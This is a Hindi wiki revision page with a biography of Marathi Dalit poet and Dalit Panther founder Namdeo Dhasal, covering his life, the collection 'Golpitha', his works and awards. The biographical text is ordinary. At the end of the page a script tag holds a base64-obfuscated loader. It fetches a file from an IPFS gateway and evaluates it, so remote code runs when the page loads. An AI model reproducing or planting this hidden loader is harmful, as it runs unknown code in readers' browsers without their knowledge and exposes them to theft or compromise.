नामदेव ढसाल: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
(''''नामदेव लक्ष्मण ढसाल''' (अंग्रेज़ी: ''Namdeo Laxman Dhasal'', जन्म-...' के साथ नया पृष्ठ बनाया)
 
No edit summary
 
(2 intermediate revisions by the same user not shown)
Line 1: Line 1:
'''नामदेव लक्ष्मण ढसाल''' ([[अंग्रेज़ी]]: ''Namdeo Laxman Dhasal'', जन्म- [[15 फ़रवरी]], [[1949]]; मृत्यु- [[15 जनवरी]], [[2014]]) मराठी कवि, लेखक और मानवाधिकार कार्यकर्ता थे। उन्होंने 'दलित पैंथर' की स्थापना की थी। उनकी विभिन्न रचनाओं का अनुवाद यूरोपीय भाषाओं में भी किया गया है। वह जातीय वर्चस्वाद के ख़िलाफ़ रचनाएं करते थे। नामदेव ढसाल मराठी दलित कविता के जाज्ज्वल्यमान नक्षत्र थे। उनका जीवन विकट परिस्थितियों से शुरू हुआ, लेकिन अपने संघर्ष और साहस से उन्होंने [[इतिहास]] में अपनी एक अलग जगह बनाई। तत्कालीन [[महाराष्ट्र]] में होने वाली दलित उत्पीड़न की घटनाओं के विरुद्ध 'दलित पैंथर' ने अपनी आवाज बुलंद की थी। मराठी कविता का व्याकरण बदलने का श्रेय नामदेव ढसाल को ही है।
{{सूचना बक्सा साहित्यकार
|चित्र=Namdeo-Dhasal.jpg
|चित्र का नाम=नामदेव ढसाल
|पूरा नाम=नामदेव लक्ष्मण ढसाल
|अन्य नाम=
|जन्म=[[15 फ़रवरी]], [[1949]]
|जन्म भूमि=पुरगाँव, [[पुणे]], [[महाराष्ट्र]]
|मृत्यु=[[15 जनवरी]], [[2014]]
|मृत्यु स्थान=[[मुम्बई]], [[महाराष्ट्र]]
|अभिभावक=[[पिता]]- लक्ष्मण ढसाल
|पालक माता-पिता=
|पति/पत्नी=मलिका अमर शेख
|संतान=
|कर्म भूमि=[[भारत]]
|कर्म-क्षेत्र=[[कवि]], लेखक
|मुख्य रचनाएँ=गोलपीठा, मूर्ख म्हातार्‍याने डोंगर हलवले, तुही यत्ता कंची, खेळ, गांडू बगीचा, या सत्तेत जीव रमत नाही आदि।
|विषय=
|भाषा=
|विद्यालय=
|शिक्षा=
|पुरस्कार-उपाधि=[[पद्म श्री]], [[1999]]<br/>
[[साहित्य अकादमी पुरस्कार]], [[2004]]<br/>
सोवियत लैंड नेहरू अवार्ड
|प्रसिद्धि=मराठी कवि, लेखक व सामाजिक कार्यकर्ता
|विशेष योगदान=
|नागरिकता=भारतीय
|संबंधित लेख=
|शीर्षक 1=
|पाठ 1=
|शीर्षक 2=
|पाठ 2=
|अन्य जानकारी=नामदेव ढसाल के कविता संग्रह ‘गोलपीठा’ की [[भाषा]]-[[शैली]] तथा शब्दों का चयन अलग है। वैसा उनकी अन्य कविताओं में नही मिलता। यह बात प्रसिद्व मराठी नाट्यकार [[विजय तेंदुलकर]] ने ‘गोलपीठा’ की प्रस्तावना में भी कही है।
|बाहरी कड़ियाँ=
|अद्यतन={{अद्यतन|17:01, 15 अक्टूबर 2022 (IST)}}
}}'''नामदेव लक्ष्मण ढसाल''' ([[अंग्रेज़ी]]: ''Namdeo Laxman Dhasal'', जन्म- [[15 फ़रवरी]], [[1949]]; मृत्यु- [[15 जनवरी]], [[2014]]) मराठी कवि, लेखक और मानवाधिकार कार्यकर्ता थे। उन्होंने 'दलित पैंथर' की स्थापना की थी। उनकी विभिन्न रचनाओं का अनुवाद यूरोपीय भाषाओं में भी किया गया है। वह जातीय वर्चस्वाद के ख़िलाफ़ रचनाएं करते थे। नामदेव ढसाल मराठी दलित कविता के जाज्ज्वल्यमान नक्षत्र थे। उनका जीवन विकट परिस्थितियों से शुरू हुआ, लेकिन अपने संघर्ष और साहस से उन्होंने [[इतिहास]] में अपनी एक अलग जगह बनाई। तत्कालीन [[महाराष्ट्र]] में होने वाली दलित उत्पीड़न की घटनाओं के विरुद्ध 'दलित पैंथर' ने अपनी आवाज बुलंद की थी। मराठी कविता का व्याकरण बदलने का श्रेय नामदेव ढसाल को ही है।
==जन्म==
==जन्म==
15 फरवरी, 1949 को पुणे जिले के पुरगाँव के दलित परिवार में नामदेव ढसाल का जन्म हुआ था। बचपन में ही वह अपने [[पिता]] लक्ष्मण ढसाल के साथ [[बम्बई]] आ बसे। उनके पिता बम्बई के कत्लखाने में कार्य करते थे। पहले गांव फिर बम्बई। [[धर्म]] और रूढ़ियों के संस्कार दोनों जगह थे। जिन्हें झेलना था नामदेव ढसाल को और एक सशक्त कवि बनना था। ऐसा [[कवि]] जिसके शब्दों में [[हिन्दू धर्म]] व्यवस्था को जलाने की ताकत थी।
15 फरवरी, 1949 को पुणे जिले के पुरगाँव के दलित परिवार में नामदेव ढसाल का जन्म हुआ था। बचपन में ही वह अपने [[पिता]] लक्ष्मण ढसाल के साथ [[बम्बई]] आ बसे। उनके पिता बम्बई के कत्लखाने में कार्य करते थे। पहले गांव फिर बम्बई। [[धर्म]] और रूढ़ियों के संस्कार दोनों जगह थे। जिन्हें झेलना था नामदेव ढसाल को और एक सशक्त कवि बनना था। ऐसा [[कवि]] जिसके शब्दों में [[हिन्दू धर्म]] व्यवस्था को जलाने की ताकत थी।
Line 24: Line 58:
*‘गोलपीठा’ के लिए नामदेव ढसाल को सोवियत लैंड नेहरू अवार्ड से नवाजा गया था।
*‘गोलपीठा’ के लिए नामदेव ढसाल को सोवियत लैंड नेहरू अवार्ड से नवाजा गया था।
==मृत्यु==
==मृत्यु==
लेखक नामदेव ढसाल की मृत्यु [[15 जनवरी]], [[2014]] को [[मुम्बई]], [[महराष्ट्र]] में हुई।
लेखक नामदेव ढसाल की मृत्यु [[15 जनवरी]], [[2014]] को [[मुम्बई]], [[महाराष्ट्र]] में हुई।


{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}
{{लेख प्रगति|आधार=|प्रारम्भिक=प्रारम्भिक1 |माध्यमिक= |पूर्णता= |शोध= }}

Latest revision as of 11:34, 15 October 2022

नामदेव ढसाल
पूरा नाम नामदेव लक्ष्मण ढसाल
जन्म 15 फ़रवरी, 1949
जन्म भूमि पुरगाँव, पुणे, महाराष्ट्र
मृत्यु 15 जनवरी, 2014
मृत्यु स्थान मुम्बई, महाराष्ट्र
अभिभावक पिता- लक्ष्मण ढसाल
पति/पत्नी मलिका अमर शेख
कर्म भूमि भारत
कर्म-क्षेत्र कवि, लेखक
मुख्य रचनाएँ गोलपीठा, मूर्ख म्हातार्‍याने डोंगर हलवले, तुही यत्ता कंची, खेळ, गांडू बगीचा, या सत्तेत जीव रमत नाही आदि।
पुरस्कार-उपाधि पद्म श्री, 1999

साहित्य अकादमी पुरस्कार, 2004
सोवियत लैंड नेहरू अवार्ड

प्रसिद्धि मराठी कवि, लेखक व सामाजिक कार्यकर्ता
नागरिकता भारतीय
अन्य जानकारी नामदेव ढसाल के कविता संग्रह ‘गोलपीठा’ की भाषा-शैली तथा शब्दों का चयन अलग है। वैसा उनकी अन्य कविताओं में नही मिलता। यह बात प्रसिद्व मराठी नाट्यकार विजय तेंदुलकर ने ‘गोलपीठा’ की प्रस्तावना में भी कही है।
अद्यतन‎
इन्हें भी देखें कवि सूची, साहित्यकार सूची

नामदेव लक्ष्मण ढसाल (अंग्रेज़ी: Namdeo Laxman Dhasal, जन्म- 15 फ़रवरी, 1949; मृत्यु- 15 जनवरी, 2014) मराठी कवि, लेखक और मानवाधिकार कार्यकर्ता थे। उन्होंने 'दलित पैंथर' की स्थापना की थी। उनकी विभिन्न रचनाओं का अनुवाद यूरोपीय भाषाओं में भी किया गया है। वह जातीय वर्चस्वाद के ख़िलाफ़ रचनाएं करते थे। नामदेव ढसाल मराठी दलित कविता के जाज्ज्वल्यमान नक्षत्र थे। उनका जीवन विकट परिस्थितियों से शुरू हुआ, लेकिन अपने संघर्ष और साहस से उन्होंने इतिहास में अपनी एक अलग जगह बनाई। तत्कालीन महाराष्ट्र में होने वाली दलित उत्पीड़न की घटनाओं के विरुद्ध 'दलित पैंथर' ने अपनी आवाज बुलंद की थी। मराठी कविता का व्याकरण बदलने का श्रेय नामदेव ढसाल को ही है।

जन्म

15 फरवरी, 1949 को पुणे जिले के पुरगाँव के दलित परिवार में नामदेव ढसाल का जन्म हुआ था। बचपन में ही वह अपने पिता लक्ष्मण ढसाल के साथ बम्बई आ बसे। उनके पिता बम्बई के कत्लखाने में कार्य करते थे। पहले गांव फिर बम्बई। धर्म और रूढ़ियों के संस्कार दोनों जगह थे। जिन्हें झेलना था नामदेव ढसाल को और एक सशक्त कवि बनना था। ऐसा कवि जिसके शब्दों में हिन्दू धर्म व्यवस्था को जलाने की ताकत थी।

कविता संग्रह ‘गोलपीठा’

नामदेव ढसाल का पहला कविता संग्रह ‘गोलपीठा’ था। यह 1972 में प्रकाशित हुआ था। जिसके आने पर मराठी साहित्य जगत में एक भूचाल-सा आ गया। बहुत से सवर्ण लेखकों और समीक्षकों को बुरा लगना लाजमी था। उसका कारण नामदेव के शब्द थे, जो उन पर और उनकी संस्कृति पर हथौड़े की तरह वार करते थे। दलित लोगों की जिंदगी जिस अभिव्यक्ति की मांग कर रही थी, वही सब कुछ नामदेव ढसाल की कविताओं में जोरदार तरीके से उभरा। बम्बई के रेड लाइट एरिया के जीवन का अनचाहा पहलू, पिंजरों में बंद देह उत्सव के लिए तैयार महिलाएं। भूख और बेचैनी की कशमकश से जुझतीं वे। पेट और पेट के नीचे की भूख मिटाने के लिए देह बिक्री की विवशता का चित्रण विस्तार से कवि नामदेव ढसाल की ‘गोलपीठा’ कविता संग्रह में बेबाक़ी से आता है। उनकी कविता में वेश्यावृत्ति से जुड़ी महिलाओं के सवाल दर सवाल उभरते है। उन सवालों में आंसू नहीँ होते है बल्कि आक्रोश होता है। जीवन का ऐसा सच, जिससे देह भोगने वाले रिश्ते तो बनाते है, लेकिन सतही।[1]

पृष्ठभूमि

नामदेव ढसाल के कविता संग्रह ‘गोलपीठा’ की भाषा-शैली तथा शब्दों का चयन अलग है। वैसा उनकी अन्य कविताओं में नही मिलता। यह बात प्रसिद्व मराठी नाट्यकार विजय तेंदुलकर ने ‘गोलपीठा’ की प्रस्तावना में भी कही है। ऐसा कहा जाता है कि हर लेखक के प्रत्येक सृजन के पीछे कोई न कोई घटना होती है। ‘गोलपीठा’ की रचना की पृष्ठभूमि में भी घटना विशेष से जुड़ी है।

नामदेव ढसाल किसी से प्रेम करते थे, लेकिन उनका प्रेम परवान न चढ़ सका। कारण जाति का था। जाहिर बात है उन्हें धक्का तो लगना ही था। यही कारण रहा कि उन्हें शराब और अंधेरी गलियों का सहारा लेना पड़ा। वैसे भी उनका बचपन इस तरह के परिवेश का चश्मदीद गवाह रहा था। बम्बई के ग्रांट रोड ईस्ट की तरफ जब लोकल ट्रेन से उतरते हैं तो एक किलोमीटर के बाद वेश्यालय नजर आने लगते हैं। फॉकलैंड और गोलपीठा नजदीक है। भरे पूरे बाजार जहाँ सब कुछ खुला है। कोई रोक-टोक नहीं। वहाँ स्कूल भी है और दवाखाने भी। ब्रिटिश समय से यह सब चला आ रहा है, कभी कोई पाबंदी नहीं। न ही इन बाजारों को बंद करने के लिए आंदोलन। ऐसा भी कहा जाता है कि जैसे शराब पीने वालों को सरकार ने लाइसेंस दिया हुआ था, वैसे ही इस बाजार को भी लाइसेंस मिला हुआ था, लोग आते थे, जाते थे। महिलाएं भी वही रहती थीं और उनसे होने वाले बच्चे भी।

प्रमुख कृतियाँ

  • गोलपीठा (1972)
  • मूर्ख म्हातार्‍याने डोंगर हलवले (1975)
  • आमच्या इतिहासातील एक अपरिहार्य पात्र : प्रियदर्शिनी (1976)
  • तुही यत्ता कंची (1981)
  • खेळ (1983)
  • गांडू बगीचा (1986)
  • या सत्तेत जीव रमत नाही (1995)
  • मी मारले सूर्याच्या रथाचे घोडे सात
  • तुझे बोट धरुन चाललो आहे

पुरस्कार व सम्मान

  • भारत सरकार ने 1999 में नामदेव ढसाल को पद्म श्री से नवाजा था।
  • साल 2004 में साहित्य अकादमी ने जीवन गौरव प्रदान किया था।
  • महाराष्ट्र सरकार ने भी नामदेव ढसाल को साहित्य सेवा के लिए पुरस्कृत किया था।
  • ‘गोलपीठा’ के लिए नामदेव ढसाल को सोवियत लैंड नेहरू अवार्ड से नवाजा गया था।

मृत्यु

लेखक नामदेव ढसाल की मृत्यु 15 जनवरी, 2014 को मुम्बई, महाराष्ट्र में हुई।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. जानें, विद्रोही दलित कवि नामदेव ढसाल के बारे में (हिंदी) forwardpress.in। अभिगमन तिथि: 15 अक्टूबर, 2022।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>